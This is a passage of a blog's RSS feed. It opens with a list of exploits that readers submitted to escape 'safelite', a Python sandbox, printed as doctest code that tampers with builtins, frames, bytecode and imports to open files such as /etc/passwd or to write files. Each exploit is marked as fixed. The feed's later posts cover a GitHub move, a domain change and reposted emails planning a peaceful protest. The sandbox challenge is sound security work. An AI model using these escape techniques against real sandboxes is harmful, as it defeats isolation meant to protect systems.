<li><p class="first"><a class="reference external" href="http://mrooney.blogspot.com/">Mike Rooney</a> started messing with the
assumptions of builtins being unaltered:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; __builtins__.str = S</span></pre>
</blockquote>
<p>[Fixed in v5]</p>
</li>
<li><p class="first">Farshid Lashkari then took it to a whole new <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086425.html">elegant level</a>:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; _real_file = None</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; def _new_isinstance(obj,types):</span>
<span class="doctest-input">...     global _real_file</span>
<span class="doctest-input">...     if _real_file is None and obj.__class__.__name__ == 'file':</span>
<span class="doctest-input">...         _real_file = obj.__class__</span>
<span class="doctest-input">...     return _old_isinstance(obj,types)</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; __builtins__.isinstance = _new_isinstance</span>
<span class="doctest-input">&gt;&gt;&gt; FileReader('nul')</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f = _real_file('foo.txt', 'w')</span></pre>
</blockquote>
<p>[Fixed in v5]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> noted that FileReader's
<a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086437.html">__metaclass__ was accessible</a>:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f = FileReader('/etc/passwd')</span>
<span class="doctest-input">&gt;&gt;&gt; kall = f.__class__.__metaclass__.__call__.im_func</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; kall(f.__class__.__metaclass__, [('foo', 47)])</span>
<span class="doctest-output">&lt;type 'list'&gt;</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f.__class__.__metaclass__.foo</span>
<span class="doctest-output">47</span></pre>
</blockquote>
<p>[Locked-down in v6 before he could do any real damage ;p]</p>
</li>
<li><p class="first"><a class="reference external" href="http://thepaulprog.blogspot.com/">Paul Cannon</a> did the unexpected
with his <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">super hardcore exploit</a>:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(</span>
<span class="doctest-input">...   2, 2, 4, 67,</span>
<span class="doctest-input">...   'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',</span>
<span class="doctest-input">...   (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)</span>
<span class="doctest-input">... )</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; try:</span>
<span class="doctest-input">...     FileReader('foo', 2)</span>
<span class="doctest-input">... except:</span>
<span class="doctest-input">...     pass</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')</span></pre>
</blockquote>
<p>[Fixed in v6 &mdash; but the principles can still be used. Paul Cannon <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">explains
in depth</a>.]</p>
</li>
<li><p class="first">Daniel Diniz emailed in with this devastating mugging:</p>
<div class="syntax"><pre><span class="kn">from</span> <span class="nn">safelite</span> <span class="kn">import</span> <span class="n">FileReader</span><br/><br/><span class="c"># Let&#39;s build a fake module</span><br/><span class="n">warnings</span> <span class="o">=</span> <span class="n">__builtins__</span><span class="o">.</span><span class="n">__class__</span><span class="p">(</span><span class="s">&#39;warnings&#39;</span><span class="p">)</span><br/><br/><span class="c"># Fill it with deception</span><br/><span class="n">warnings</span><span class="o">.</span><span class="n">default_action</span> <span class="o">=</span> <span class="s">&quot;ignore&quot;</span><br/><br/><span class="c"># And provide a supporting thug</span><br/><span class="k">def</span> <span class="nf">__import__</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span><br/>    <span class="k">print</span> <span class="n">args</span><br/>    <span class="k">try</span><span class="p">:</span><br/>        <span class="k">print</span> <span class="s">&quot;How nice:</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="n">args</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span><br/>        <span class="k">global</span> <span class="n">sys</span><br/>        <span class="n">sys</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="s">&#39;sys&#39;</span><span class="p">]</span><br/>    <span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span> <span class="n">v</span><span class="p">:</span><br/>        <span class="k">print</span> <span class="s">&quot;Exception:&quot;</span><span class="p">,</span> <span class="n">v</span><br/>    <span class="k">return</span> <span class="n">warnings</span><br/><br/><span class="c"># Put the bogus module at the doorstep...</span><br/><span class="n">__builtins__</span><span class="o">.</span><span class="n">warnings</span> <span class="o">=</span> <span class="n">warnings</span><br/><br/><span class="c"># and have the thug replacing the doorman</span><br/><span class="n">__builtins__</span><span class="o">.</span><span class="n">__import__</span> <span class="o">=</span> <span class="nb">__import__</span><br/><br/><span class="c"># An unsuspecting costumer passes by...</span><br/><span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;safelite.py&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">seek</span><span class="p">(</span><span class="mf">1.1</span><span class="p">)</span><br/><br/><span class="c"># ... and is brutally mugged :)</span><br/><span class="k">print</span> <span class="n">sys</span><br/><span class="k">print</span> <span class="nb">dir</span><span class="p">(</span><span class="n">sys</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v7]</p>
</li>
<li><p class="first">Nick Coghlan got evil with context managers:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; class EvilCM(object):</span>
<span class="doctest-input">...     def __enter__(self):</span>
<span class="doctest-input">...         return self</span>
<span class="doctest-input">...     def __exit__(self, exc_type, exc, tb):</span>
<span class="doctest-input">...         tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n')</span>
<span class="doctest-input">...         return True</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; with EvilCM():</span>
<span class="doctest-input">...     FileReader(10, 12)</span></pre>
</blockquote>
<p>[Fixed in v8]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> emailed in with ways to trick
trusted code to evaluate unsafe code in its own globals!! [See also his
similar hack with eval in the comments below].</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f = FileReader('/etc/passwd')</span>
<span class="doctest-input">&gt;&gt;&gt; f.__class__.__int__ = input</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f.read(f)</span>
<span class="doctest-output">(fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1]</span></pre>
</blockquote>
<p>[Fixed in v9]</p>
</li>
</ul>
<p>Found an exploit yet?? Try <a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/safelite.py">safelite.py</a> and let me know!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" fileSize="8850" type="null" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/a-challenge-to-break-python-security.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" length="8850" type="null" /><feedburner:origEnclosureLink>http://cloud.github.com/downloads/tav/plexnet/safelite.py</feedburner:origEnclosureLink></item><item>
    <title>Hello GitHub!</title>
    <guid isPermaLink="false">http://www.asktav.com/hello-github.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Pa6aRvSpG84/hello-github.html</link>
    <pubDate>Thu, 29 Jan 2009 00:23:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I've completed the switch over to the <a class="reference external" href="http://www.git-scm.org">Git</a> version
control system. You can follow my activities on:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav">http://github.com/tav</a></li>
</ul>
<p>If you want to ever work on a project of mine, just click the fork button on
GitHub and start coding &mdash; no need to get permission from me! Just let me know
if you want to get your changes back into the mainline.</p>
<p>GitHub even lets you edit forks directly from the website without having to
check out the repository. How cool is that?!</p>
<p>Now, for the Totally Pointless Awards, I created a colourful homepage using the
really nice GitHub pages mechanism:</p>
<ul class="simple">
<li><a class="reference external" href="http://tav.github.com">http://tav.github.com</a></li>
</ul>
<p>And, finally, I have something of potential use for others using GitHub:
<tt class="docutils literal"><span class="pre">gitbot.py</span></tt> uses the GitHub API to inform IRC channel(s) of commits to GitHub
repositories.</p>
<p>I ended up creating my own one because the default GitHub IRC notifier is rather
noisy and joins/leaves too much. You can find the code for the bot along with a
sample <tt class="docutils literal"><span class="pre">gitbotconfig.py</span></tt> file here:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav/scripts/tree/master">http://github.com/tav/scripts/tree/master</a></li>
</ul>
<p>Enjoy!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/hello-github.html</feedburner:origLink></item><item>
    <title>New Domain for Tav</title>
    <guid isPermaLink="false">http://www.asktav.com/new-domain-for-tav.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/07rInNvrLDE/new-domain-for-tav.html</link>
    <pubDate>Tue, 04 Nov 2008 03:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>[<strong>Update:</strong> I reverted to tav.espians.com as the main domain &mdash; asktav.com
redirects here so you can use it as a shorter url to type&#8230;]</p>
<p>My apologies to all those who have been following this blog through the RSS
feed. As some of you have noticed, the feed has been behaving rather erratically
recently.</p>
<p>This is because I have been migrating everything from pleinair.googlecode.com to
the new asktav.com domain. This is now the permanent home for my blog and will
remain so until the Plexnet eventually replaces the current domain name system.</p>
<p>The feed should be working properly again and is still at the same place as it
always was &mdash; <a class="reference external" href="http://feeds.feedburner.com/asktav">http://feeds.feedburner.com/asktav</a>. I don't plan to move domains
anytime soon so you can expect a certain level of stability now =)</p>
<p>Unfortunately I wasn't able to migrate over the old comments to the new domain.
Disqus doesn't seem to have any builtin comment migration across domains
feature. So apologies if you look at an article and don't see your comments
turning up.</p>
<p>The comments are still there on the Disqus system &mdash; just pointing to the wrong
URL. I'll try and see if I can leverage the <a class="reference external" href="http://disqus.com/docs/api/">Disqus API</a> to somehow integrate the comments. I really
value all of your comments and hope that you understand.</p>
<p>As part of the migration, I also expanded the backend with some additional
features:</p>
<pre class="literal-block">
$ python -m plexnet.tool.article --help
Usage: article.py [options]
</pre>
<pre class="literal-block">
Options:
  -h, --help          show this help message and exit
  -a AUTHORS          Set the path for a special authors file (optional)
  -c PACKAGE          Generate documentation for the Python package (optional)
  -d DATA_FILE        Set the path for a persistent data file (optional)
  -e OUTPUT_ENCODING  Set the output encoding (default: utf-8)
  -f FORMAT           Set the output format (default: html)
  -i INPUT_ENCODING   Set the input encoding (default: utf-8)
  -o OUTPUT_PATH      Set the output directory for files (default: $PWD)
  -p PATTERN          Generate index files for the path pattern (optional)
  -r ROOT_PATH        Set the path to the root working directory (optional)
  -t TEMPLATE         Set the path to a template file (optional)
  --quiet             Flag to suppress output
  --stdout            Flag to redirect to stdout instead of to a file
</pre>
<p>It now supports multiple authors and even generates pretty source documentation
for Python packages, as can be seen on the the new domain for the Plexnet:
<a class="reference external" href="http://www.plexnet.org">http://www.plexnet.org</a></p>
<p>The code is sitting a a new <a class="reference external" href="https://svn.plexnet.org">source repository</a> with
a pretty Rails-based Subversion browser called <a class="reference external" href="http://www.warehouseapp.com/">Warehouse</a>. You can see it &#64; <a class="reference external" href="http://source.plexnet.org">http://source.plexnet.org</a>.</p>
<p>Thanks for bearing with the upheaval. To make up for it, maybe you'll be
interested to know that some others have started blogging too:</p>
<ul class="simple">
<li><a class="reference external" href="http://evangineer.agoraworx.com/blog/">Mamading Ceesay</a></li>
<li><a class="reference external" href="http://killarny-site.appspot.com">Luke Graybill</a></li>
<li><a class="reference external" href="http://blog.turnupthecourage.com">Sofia Bustamante</a></li>
</ul>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/new-domain-for-tav.html</feedburner:origLink></item><item>
    <title>Pedipeace (Part 2)</title>
    <guid isPermaLink="false">http://www.asktav.com/pedipeace-part-2.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/zGKDELgfhEU/pedipeace-part-2.html</link>
    <pubDate>Fri, 15 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
26th 2003 &#64; 05:35.]</em></p>
<pre class="literal-block">
|  george&gt; The theory of blocking off central London is a good
|  george&gt; one but it will still piss people off to fuck.
|
| true. but, we should frame it as pedestrianising for peace as opposed
| to blocking off central london.
|
| although it amounts to the same thing, one is confrontational, the other...
|
|  george&gt; Sounds like the stuff Reclaim The Streets tries to
|  george&gt; do but with better ideas, dialogue instead of
|  george&gt; marching. But that affair always gets hijacked by
|  george&gt; rioters who are pissed off at the police.
|
| surely we shouldn't resign ourselves to accepting that as the only
| possible outcome? if everyone is aware of it before, can't we take
| precautions against it?
|
| on a side note, are people familiar with the roerich banner of peace?
| it's the three red dots symbolising art, science, and religion, with a
| red circle around them representing the totality of culture. the red
| itself represents the colour of the one blood that unites us all.
|
| (btw, can someone come up with an alternative meaning for the third dot?
| religion can be quite shitty...)
|
| here is a quick quote:
|
| //
|   The Roerich Pact and Banner of Peace movement grew rapidly during
|   the early nineteen-thirties, with centers in a number of countries.
|   There were three international conferences, in Bruges, Belgium, in
|   Montevideo, Uruguay, and in Washington, D.C. The Pact itself
|   declared the necessity for protection of the cultural product and
|   activity of the world-both during war and peace-and prescribed the
|   method by which all sites of cultural value would be declared neutral
|   and protected, just as the Red Cross does with hospitals. Indeed,
|   the Roerich Pact was often called The Red Cross of Culture.
|
|   Just as the Red Cross is embodied in a protective sign and banner,
|   so does the Roerich Pact also designate a symbol-the one seen on
|   this page-to be displayed on a banner, The Banner of Peace. This
|   Banner, flown at all sites of cultural activity and historical value,
|   would declare them neutral, independent of combatant forces.
| //
|
| i suggest we adopt the banner of peace for the pedipeace movement. that
| nicholas roerich and ghandi knew and influenced each other lends us even
| more weight.
|
|  george&gt; possible problems could be the way people would
|  george&gt; be spread so thinly that it would be easy for
|  george&gt; the bacon patrol to break up these small groups
|  george&gt; and arrest/beat people without getting too noticed.
|
| good point.
|
| we need to keep the number of circles down until we've gathered enough
| people then. as long as we make people aware of issues like these, then
| they are likely to be relatively sensible?
|
|  george&gt; Do you really think they will allow sound systems
|  george&gt; and parties in the street? They will seize your
|  george&gt; equipment straight away because of that repetitive
|  george&gt; beats law.
|
| then, let's find out more places like those UCL halls on oxford street,
| where we could have sound systems blasting from within the buildings
| themselves.
|
| the key is to get awareness out there. if it's just isolated pockets,
| then it is very easy for them to picked off. but if everyone is doing it...
|
|  george&gt; A huge fiesta taking up the whole of zone 1
|  george&gt; would be amazing though. A lot of people
|  george&gt; would go just for a good time, not caring
|  george&gt; about the causes, and the more people the better.
|
| yes! yes! yes!
|
| (but even those who don't care so much will have their interest piqued
| by the dialogues, and would hopefully gradually end up participating).
|
|  george&gt; But a lot of people that live in central are
|  george&gt; rich and old and used to the world and happy with
|  george&gt; the way things go on, so they won't support
|  george&gt; you, but get pissed off by all the rowdiness.
|
| now, this does worry me. how can we minimise this?
|
| how can we also minimise the impact of the extremist militants / agent
| provocateurs?
|
| how do we ensure that the police will never be able to resort to
| truncheons and tear gases?
|
|  george&gt; It seems the whole protest/marching thing is
|  george&gt; still popular (though showing lack of imagination)
|  george&gt; when people feel strongly about a cause, but a
|  george&gt; lot of the people who do care won't go because
|  george&gt; they won't see the point, so many marches and so
|  george&gt; little effect. The whole idea is stale and so
|  george&gt; usual it goes unnoticed.
|
| right, we all know people (including ourselves), who although they agree
| with the sentiments of no war, at times, don't think it's of any use to
| go down to the marches.
|
|  george&gt; Expressing your discontent is no good if
|  george&gt; no-one listens.
|
| *nod*
|
| one of the reason i find marches such a farce is because of the way they
| are isolated from the rest of society. even on feb 15th, with a million
| odd marching through london, to most londoners it was just a normal
| day... the protests completely separate from their lives.
|
|  george&gt; This is a foolish attitude because it is because
|  george&gt; people choose not to join in that there are not
|  george&gt; enough people to make a difference.
|
| how do we get people to realise this? and, more importantly, to act on it?
|
|  george&gt; If the whole country united for change it
|  george&gt; could come about but too many people take
|  george&gt; the 'one man can't make a difference' attitude.
|
| well, with the dialogues, i'm thinking that we could reverse this mentality.
|
| basically, if you aren't there participating, then you effectively lose
| your voice. so as to encourage all people to come and participate.
|
|  george&gt; Basically, i think the number of people taking
|  george&gt; part in ya proposed idea would be outweighed by
|  george&gt; the number not, and it would be hard to
|  george&gt; organise them.
|
| but, if only a hundred thousand participated on the first day, that's
| still substantial?
|
| do it on a nice sunny sunday... get half a million people down?
|
| i agree about it being difficult to organise them, but it's not impossible.
|
|  george&gt; I think you have too much faith in the genral public.
|
| the general public has to come to realise their own power. otherwise,
| there is no hope.
|
|  george&gt; Although many will agree with you 'in theory' only a
|  george&gt; much smaller hardcore will be motivated enough to
|  george&gt; actually get organised about it...
|
| let's get *everyone* down. this isn't going to be a short war.
|
| we just need to create enough inertia to push people past the &quot;agree in
| theory&quot; phase. it needs to be such a definite, that people will not even
| think of using their cars on that day.
|
| let's sort out alternative bus routes. let's sort out routes to the
| major hospitals so that people's lives aren't endangered.
|
| let's sort out routes for the police so that they can clamp down if
| anyone starts throwing rocks at starbucks. let's sort out traffic routes
| to direct people. let's sort out toilets and dustbins.
|
| let's get people like ms dynamite weaving their magic in the streets.
| let's get *everyone* involved. not just radicals. let's have members of
| parliament having dialogues with the average man on the street. let's
| have policemen participating. let's have teachers. let's have doctors.
|
| let's appeal to mothers of conscience to stand in protection of the
| circles. will police dare beat up pregnant women? will police dare to
| beat up young children? will police dare beat up respected religious
| leaders? will police dare beat up the elderly?
|
| let's have an independent media coverage throughout london. let's setup
| terminals at all tube stations. where people could come and at the push
| of a button print out the latest summary of events and dialogues.
|
|  george&gt; Keep trying and thinking about this hoipefully people
|  george&gt; will soon not be resigned to acceptance.
|
| deep in their hearts, i believe people are tired of the bollocks that
| they put up with on a day to day basis. i believe that people do want a
| better future. they just don't see how it will be possible or what they
| can do.
|
| once they realise that it is possible and that they can help make it a
| reality, i believe that they will awaken.
|
|  george&gt; Also, we are only slaves to oil because we are not
|  george&gt; given alternate energy sources to meet all our needs.
|  george&gt; Sure they exist but reamin out of our hands.
|
| true. but something as simple as not using our cars. and switching over
| our electricity to ecotricity would be a good start...
|
|  chris&gt; i think you can reach people and get them motivated,
|  chris&gt; its all about language.
|
| agreed. it's all about perception.
|
|  chris&gt; Create your own infastructure and co-opt the existing
|  chris&gt; one to reach people.
|
| from a media perspective, i think we are onto a winner here.
|
| see, most road blockades and marches don't get any press coverage not
| because of some global media conspiracy (yes, there is a certain element
| of that), but mainly because it's not news that sells.
|
| *oh look! yet another student has chained herself to a tree!*
|
| just not interesting enough.
|
| we need something that is dynamic. something that will get people's
| minds and hearts racing. something people (i.e. the populace as a whole,
| not just a minority) can get passionate about. something they will buy
| the next days papers to read about.
|
| we can do that here.
|
| we have a sensationalist background of conflict. this will keep people
| on their toes. the police will be out in the thousands. the people will
| be out in the hundreds of thousands.
|
| but that will merely be a backdrop. the key is to refuse to let that
| become the key issue. if we do, then all is lost. so, we should maintain
| the sensationalism of that, yet focus on the dialogue that is important.
|
| let papers be filled with reports sent in from the various circles. let
| papers create maps of what's happening at which crossroads. let papers
| be crammed with wonderful photos of people celebrating life.
|
| let the banners of peace fly. let wonderful smells fill the air. let the
| magical sounds of music sweep people up into ecstasy. let love blossom
| under the spring sun.
|
| we could do experiments in art and science. in art, maybe as a grand
| symbol, we could build a wall around the american embassy like they did
| in rome! in the sciences, we could create community based wireless
| networks! we can do fun things. we can push the boundaries.
|
|  chris&gt; no-one told people that they have to take responsibility
|  chris&gt; for what their country is doing, educate themselves and
|  chris&gt; regain control of their lives. They just used language
|  chris&gt; that contained no responsibility.
|
| chris (and others), could you have a go at phrasing what i am saying
| into &quot;better&quot; words please. i think i am reasonably good at avoiding
| trigger words, and in fact constantly make up new words in order to do
| so, but am sure it could all be phrased a lot better.
|
| thanks!
|
|  matt&gt; the police WILL NOT LET DEMOCRACY OCCUR IN THE STREETS.
|  matt&gt; If you try to make this happen and advertise it as if
|  matt&gt; it will be fluffy and lovely and discursive, you will
|  matt&gt; just be fooling people who will end up with a truncheon
|  matt&gt; in their face.
|
| i beg to differ.
|
| yes, i agree, the inertia is currently against our favour. but we don't
| have to let it be so. the key is for us to strike pre-emptively. not on
| the streets. but in the court of public opinion.
|
| i have been thinking that we should perhaps highlight events such as the
| tiananmen square massacre and genoa. make people aware of what really
| happened. (funny, those chinese were asking for more democracy and
| accurate press coverage just like we are doing so now...).
|
| the developments that took place in the lead up to those events needs to
| become common knowledge. the key here is to do it such that the police
| would not be able to tear gas innocents without a public backlash. at
| the same time, we must take care to avoid instilling paranoia, e.g. the
| black bloc in genoa...
|
| also, what are famous scenes from movies? star wars is pretty good. we
| should make use of strong imagery in movies, books and songs to get the
| point across. we should emphasise the history of the likes of ghandi.
| (perhaps we should all dress up like him?)
|
| the police are, at the end of the day, people just like the rest of us.
| they are influenced by the opinion of others just as we all are. they
| too have children, husbands, wives, mothers, fathers, sisters, brothers,
| friends, lovers. they too are influenced by what those people think.
|
| london can ring with more than that of the truncheon thing! london can
| ring with hope and love. we can take the first step towards creating the
| world we want.
|
|  matt&gt; There will (it looks pretty certain) be a large event
|  matt&gt; within the next three weeks in London which will
|  matt&gt; (hopefully) be similar to the event that happened in
|  matt&gt; San Francisco....roving groups of people stopping
|  matt&gt; business as usual, along with people blocking key
|  matt&gt; intersections to shut down the city.
|
| why hopefully? sf was a disaster.
|
| the actions in san francisco have been counter-productive. it:
|
|   a) as chris says, polarised both activist+public opinion.
|
|   b) gave the polcie (SFPD) a good excuse to use rather draconian
|      measures. (in related news, didn't a police van drive over a
|      protestor in washington dc?)
|
|   c) annoyed enough of the public so that many actually support the
|      SFPD &quot;peace forces&quot; in clearing out the &quot;troublesome protestors&quot;.
|
|   d) instilled paranoia and fear into many protestors. trust has
|      started to break down for fear of infiltration. and some are
|      afraid of doing any form of direct action for fear of their
|      lives.
|
|   e) has started to splinter a movement into militant and non-militant
|      factions. seeing the horrors has made some people more militant.
|      but at the same time, the moderates are shying away. and without
|      strength in numbers, any action will get stamped down very quickly.
|
| we need the majority of people to stand up and support us. we should be
| the people. not some &quot;enlightened&quot; minority.
|
|  matt&gt; I am well aware that this will not perform an educative
|  matt&gt; function, but I think something like this is needed to
|  matt&gt; hammer the point home that people will not stand for being
|  matt&gt; screwed. If not now, when, if not us, then who?
|
| i am tired of seeing some trying to make martyrs of themselves. what
| does blocking roads, and bridges and intersections achieve by itself?
| what does chanting against the police achieve by itself?
|
| notice how words like &quot;anarchists&quot;, &quot;hackers&quot;, etc. are constantly
| misrepresented? notice how these forces are the ones that actually
| provide some form of real alternative, and thus a real threat?
|
| the point here is that the &quot;establishment&quot; would use any excuse to
| misrepresent all actions. and escalated direct action with no dialogue
| would only serve in their interests. gives them an excuse to represent
| _all_ the &quot;remaining&quot; protestors as extremist troublemakers.
|
| and, is it me, or do people seriously underestimate the might of the
| armed forces? as it stands, there is no hope for reclaiming the bases.
| all it does is provides an excuse for the militant faction of the
| movement to be labelled as &quot;terrorists who pose a threat to national
| security&quot;.
|
| reclaiming the bases, if it's to be done, has to be done from the
| inside. with members of the armed forces refusing to refuel the bombers.
| with dockers refusing to load arms shipments. with loved ones of
| soldiers writing in to them to give them support to stand up against
| their superiors.
|
| by chanting outside bases, all we do is cultivate an &quot;us&quot; and &quot;them&quot;
| mentality. so instead, let's:
|
|   1) listen to each other. listen and learn. let's have a war on
|      ignorance.
|
|   2) empower ourselves with dialogue and try to come up with
|      solutions. it's easy to shout *NO* to things. but, without
|      providing alternatives, the shouting is meaningless.
|
|   3) celebrate life. this *is* your life, and it *is* ending one
|      minute at a time. enjoy it. end the solitude. choose life.
|
|  giles&gt; the problem with direct action is that most of the
|  giles&gt; public think, whether right or not, that its just
|  giles&gt; of bunch of thugs/peaceniks/hippies/wasters etc..
|  giles&gt; and will therefore never listen to what they are
|  giles&gt; saying although they may actually find they agree
|  giles&gt; with it if they took notice.
|
| *nod* we need to cater for everyone.
|
|  giles&gt; the answer isnt becoming more extreme but playing
|  giles&gt; them at their own game and although it seems slower
|  giles&gt; you cant change people's opinions overnight. i you
|  giles&gt; act in a way that the media/politicians/public can
|  giles&gt; find fault with then it'll make a much stronger
|  giles&gt; point.
|
| (surely you meant can't?)
|
| in either case, i both agree and disagree. i agree that we should not be
| extremist. at the same time, we must make a strong statement.
|
| blocking off central london is, in my book, a strong statement. yet, the
| idea of dialogue is about toning down from extremist direct action and
| instead focussing on education and empowerment.
|
| i think we have a good balance here.
|
| help me. i am just one person. i can't do this alone. but together,
| anything is possible.
|
| --
| peace is now, tav
| tav&#64;espians.com
</pre>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/pedipeace-part-2.html</feedburner:origLink></item><item>
    <title>Pedipeace (Part 1)</title>
    <guid isPermaLink="false">http://www.asktav.com/pedipeace-part-1.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/k8R0waY2MIk/pedipeace-part-1.html</link>
    <pubDate>Thu, 14 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
24th 2003 &#64; 23:56.]</em></p>
<pre class="literal-block">
| rehi,
|
| i have often expressed my discontent of protest marches, petitions, and
| the likes of direct action such as hunger strikes, sit-ins, blockades,
| chaining oneself to..., etc.
|
| i agree with all of them in theory, and in practise they all work great
| as acts of solidarity. they bring people together. let people know that
| they are not alone in their feelings.
|
| however, unfortunately for us, their value has been diminished over the
| years. the hippies did too good a job. values and beliefs and actions so
| adapted by mainstream culture, that they have no effect.
|
| so let's not merely walk from A to B. let's not block traffic and
| achieve nothing besides annoying people and getting yourself nicked.
| let's not chant mindlessly at the police -- these guys are just doing
| their job, they've heard the fucking chants all day long.
|
| it's time to take things a step further. time to do something
| constructive. and so, i would like to propose the &quot;pedipeace movement&quot;
| -- pedestrianise for peace.
|
| let's choose one day, and on that day, not have cars travel through
| london, and form circles at every other crossroads, and have a dialogue
| about various issues.
|
| it doesn't even have to all be a dialogue of words. at some crossroads,
| we could have wonderful music and dance. at some crossroads, we could
| have beautiful men and women giving out free food.
|
| we could discuss nuclear disarmament at oxford circus, palestine at
| cambridge circus. the idea is to have a circle at many crossroads and
| people to come forward to the middle and express themselves. to have a
| dialogue.
|
| we should practise the law of two feet, which states simply that if you
| find yourself in a situation where you are neither learning nor
| contributing – use your two feet and move to some place more to you
| liking. maybe to another crossroad, or maybe to a park somewhere. no
| matter what, don’t sit there feeling miserable.
|
| we could create some infrastructure to make this happen better. e.g.
| let's say that people are discussing nuclear disarmament at oxford
| circus. i go there and text a number (let's say 2661) &quot;nuclear disarmament&quot;.
|
| and then, when someone sends a second number (let's say 2662), asking
| where people are discussing &quot;nuclear disarmament&quot;, it would send back
| directions to the one at oxford circus. you could add the numbers of
| your friends to the system so that people could filter the results more
| effectively...
|
| so, in summary... we would have true dialogue. not some pompous git
| standing up on stage lecturing us all, but instead dialogue between the
| people. democracy. we would have achieved something constructuve. every
| nite, people could go back and write up summaries of what happened...
|
| we would have people talking to each other. we would have people
| learning more about the land around them. their geography. we could have
| wonderful street parties in the night, celebrating life.
|
| we would be expressing our discontent by blocking off central london.
| and, yet at the same time, we would be practising what we preach by
| using cars less. we are all oil junkies. it's time to ease up on our
| addiction.
|
| many people are angry. many people feel betrayed. but, let's direct that
| energy into achieving something constructive. into creating the world
| that we want. let's not just chant mindlessly. let's come up with solutions.
|
| i would appreciate everyone's thoughts and comments on this. criticism,
| both positive and negative, is very welcome. i would like to give this a
| serious push once we've got a solid plan in place.
|
| --
| peace is now, tav
| tav&#64;espians.com
</pre>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/pedipeace-part-1.html</feedburner:origLink></item><item>
    <title>A Present Is Found &amp; A Friend Is Made</title>
    <guid isPermaLink="false">http://www.asktav.com/a-present-is-found-and-a-friend-is-made.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Z39wQKaJFvc/a-present-is-found-and-a-friend-is-made.html</link>
    <pubDate>Wed, 13 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
20th 2003 &#64; 05:53.]</em></p>
<pre class="literal-block">
